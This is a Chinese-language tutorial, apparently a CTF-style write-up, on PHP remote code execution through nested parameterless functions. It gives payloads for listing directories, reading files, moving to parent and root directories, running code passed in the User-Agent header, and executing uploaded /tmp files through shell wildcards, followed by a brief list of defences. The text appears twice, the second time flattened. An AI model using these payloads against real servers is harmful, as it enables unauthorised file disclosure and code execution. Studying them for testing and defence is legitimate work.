php rce之无参数读文件
字数 2018 2025-08-15 21:33:34

PHP无参数RCE技术详解

一、无参数函数的概念

无参数函数指的是在调用函数时不能直接传递参数,只能通过函数嵌套的方式实现功能。具体表现为:

  • 允许的形式:a()a(b())a(b(c()))
  • 禁止的形式:a('b')a('b','c')

二、无参数文件读取技术

1. 查看当前目录文件名

常规方法使用print_r(scandir('.')),但在无参数限制下需要构造参数中的点号(.)

构造点号的方法:

  1. localeconv()方法

    • localeconv()返回包含本地数字及货币格式信息的数组,第一个元素就是点号
    • print_r(scandir(current(localeconv()))); 等同于 print_r(scandir('.'))
    • 替代函数:pos()current()的别名
  2. 时间函数构造法

    • chr(46)就是字符'.'
    • 通过chr(time()):由于chr()以256为周期,必能出现46
    • chr(current(localtime(time()))):利用localtime()返回数组的第一位
  3. PHP版本计算法

    chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
    

    通过一系列数学函数运算最终得到46

  4. 加密函数构造法

    • hebrevc(crypt(arg))可能生成以'.'开头的字符串
    • chr(ord(hebrevc(crypt(time()))))需要多次尝试
    • chr(ord(strrev(crypt(serialize(array())))))通过反转加密字符串

2. 获取绝对路径

  • getcwd() - 返回当前工作目录
  • realpath('.') - 返回规范化的绝对路径名
  • 使用示例:print_r(scandir(getcwd()));

3. 读取文件内容

获取特定文件的方法:

  1. 直接读取

    • show_source(end(scandir(getcwd()))); 读取最后一个文件
    • 替代函数:readfile(), highlight_file(), file_get_contents(), readgzfile()
  2. 数组操作函数

    • array_reverse()反转数组顺序
    • show_source(current(array_reverse(scandir(getcwd())))); 读取反转后的第一个文件
    • readfile(next(array_reverse(scandir(getcwd())))); 读取倒数第二个文件
  3. 随机读取

    readfile(array_rand(array_flip(scandir(getcwd()))));
    

    通过array_flip()交换键值,array_rand()随机选择

4. 查看上级目录

  1. dirname()方法

    • print_r(scandir(dirname(getcwd()))); 查看上级目录
    • dirname()返回路径中的目录部分
  2. 构造".."方法

    • next(scandir(getcwd()))获取数组第二个元素".."
    • print_r(scandir(next(scandir(getcwd())))); 查看上级目录
  3. 切换工作目录

    show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
    

    先切换到上级目录再读取

5. 查看根目录

if(chdir(chr(ord(strrev(crypt(serialize(array())))))))
print_r(scandir(getcwd()));

利用strrev(crypt(serialize(array())))可能生成'/'的特性

三、无参数命令执行(RCE)

1. 利用环境变量

通过getenv()获取HTTP头信息执行命令:

eval(getenv('HTTP_USER_AGENT'));
// 设置User-Agent头为PHP代码

2. 通配符临时文件利用

当限制字母、数字和$时:

  1. Linux临时文件特性

    • PHP上传文件存储在/tmp/phpXXXXXX
    • 文件名最后6个字符是随机大小写字母
  2. 通配符技巧

    • /*/?匹配临时文件
    • [@-[]匹配大写字母
    • 示例:. /???/[@-[]*执行临时文件
  3. 完整利用

    ?c=.+/???/[@-[]*
    

    配合上传文件POST请求执行命令

四、高级技巧

1. 数组指针操作函数

  • current() - 返回数组当前元素
  • end() - 指向最后一个元素
  • next() - 指向下一个元素
  • prev() - 指向上一个元素
  • reset() - 重置指针到第一个元素

2. 特殊函数组合

  • crypt() + hebrevc()/strrev() - 生成特定字符
  • serialize() + 数组操作 - 构造所需参数
  • 数学函数链 - 通过计算得到特定数值

3. 绕过限制的技巧

  1. 函数嵌套

    a(b(c(d())))
    
  2. 间接传参

    eval(getenv('VAR'));
    
  3. 时间等待

    chr(time()) // 等待返回特定值
    

五、防御措施

  1. 禁用危险函数:eval(), system(), exec()
  2. 限制函数调用深度
  3. 过滤特殊字符和通配符
  4. 设置严格的open_basedir
  5. 禁用不必要的PHP环境变量

六、总结

无参数RCE技术主要通过:

  1. 巧妙的函数嵌套和组合
  2. 利用PHP内置函数特性
  3. 环境变量和系统特性
  4. 数学计算和编码转换

掌握这些技术有助于安全测试和防御策略制定,但请务必在合法授权范围内使用。

PHP无参数RCE技术详解 一、无参数函数的概念 无参数函数指的是在调用函数时不能直接传递参数,只能通过函数嵌套的方式实现功能。具体表现为: 允许的形式: a() 、 a(b()) 或 a(b(c())) 禁止的形式: a('b') 或 a('b','c') 二、无参数文件读取技术 1. 查看当前目录文件名 常规方法使用 print_r(scandir('.')) ,但在无参数限制下需要构造参数中的点号(.) 构造点号的方法: localeconv()方法 localeconv() 返回包含本地数字及货币格式信息的数组,第一个元素就是点号 print_r(scandir(current(localeconv()))); 等同于 print_r(scandir('.')) 替代函数: pos() 是 current() 的别名 时间函数构造法 chr(46) 就是字符'.' 通过 chr(time()) :由于chr()以256为周期,必能出现46 chr(current(localtime(time()))) :利用localtime()返回数组的第一位 PHP版本计算法 通过一系列数学函数运算最终得到46 加密函数构造法 hebrevc(crypt(arg)) 可能生成以'.'开头的字符串 chr(ord(hebrevc(crypt(time())))) 需要多次尝试 chr(ord(strrev(crypt(serialize(array()))))) 通过反转加密字符串 2. 获取绝对路径 getcwd() - 返回当前工作目录 realpath('.') - 返回规范化的绝对路径名 使用示例: print_r(scandir(getcwd())); 3. 读取文件内容 获取特定文件的方法: 直接读取 show_source(end(scandir(getcwd()))); 读取最后一个文件 替代函数: readfile() , highlight_file() , file_get_contents() , readgzfile() 数组操作函数 array_reverse() 反转数组顺序 show_source(current(array_reverse(scandir(getcwd())))); 读取反转后的第一个文件 readfile(next(array_reverse(scandir(getcwd())))); 读取倒数第二个文件 随机读取 通过 array_flip() 交换键值, array_rand() 随机选择 4. 查看上级目录 dirname()方法 print_r(scandir(dirname(getcwd()))); 查看上级目录 dirname() 返回路径中的目录部分 构造".."方法 next(scandir(getcwd())) 获取数组第二个元素".." print_r(scandir(next(scandir(getcwd())))); 查看上级目录 切换工作目录 先切换到上级目录再读取 5. 查看根目录 利用 strrev(crypt(serialize(array()))) 可能生成'/'的特性 三、无参数命令执行(RCE) 1. 利用环境变量 通过 getenv() 获取HTTP头信息执行命令: 2. 通配符临时文件利用 当限制字母、数字和$时: Linux临时文件特性 PHP上传文件存储在 /tmp/phpXXXXXX 文件名最后6个字符是随机大小写字母 通配符技巧 /* 或 /? 匹配临时文件 [@-[] 匹配大写字母 示例: . /???/[@-[]* 执行临时文件 完整利用 配合上传文件POST请求执行命令 四、高级技巧 1. 数组指针操作函数 current() - 返回数组当前元素 end() - 指向最后一个元素 next() - 指向下一个元素 prev() - 指向上一个元素 reset() - 重置指针到第一个元素 2. 特殊函数组合 crypt() + hebrevc() / strrev() - 生成特定字符 serialize() + 数组操作 - 构造所需参数 数学函数链 - 通过计算得到特定数值 3. 绕过限制的技巧 函数嵌套 间接传参 时间等待 五、防御措施 禁用危险函数: eval() , system() , exec() 等 限制函数调用深度 过滤特殊字符和通配符 设置严格的open_ basedir 禁用不必要的PHP环境变量 六、总结 无参数RCE技术主要通过: 巧妙的函数嵌套和组合 利用PHP内置函数特性 环境变量和系统特性 数学计算和编码转换 掌握这些技术有助于安全测试和防御策略制定,但请务必在合法授权范围内使用。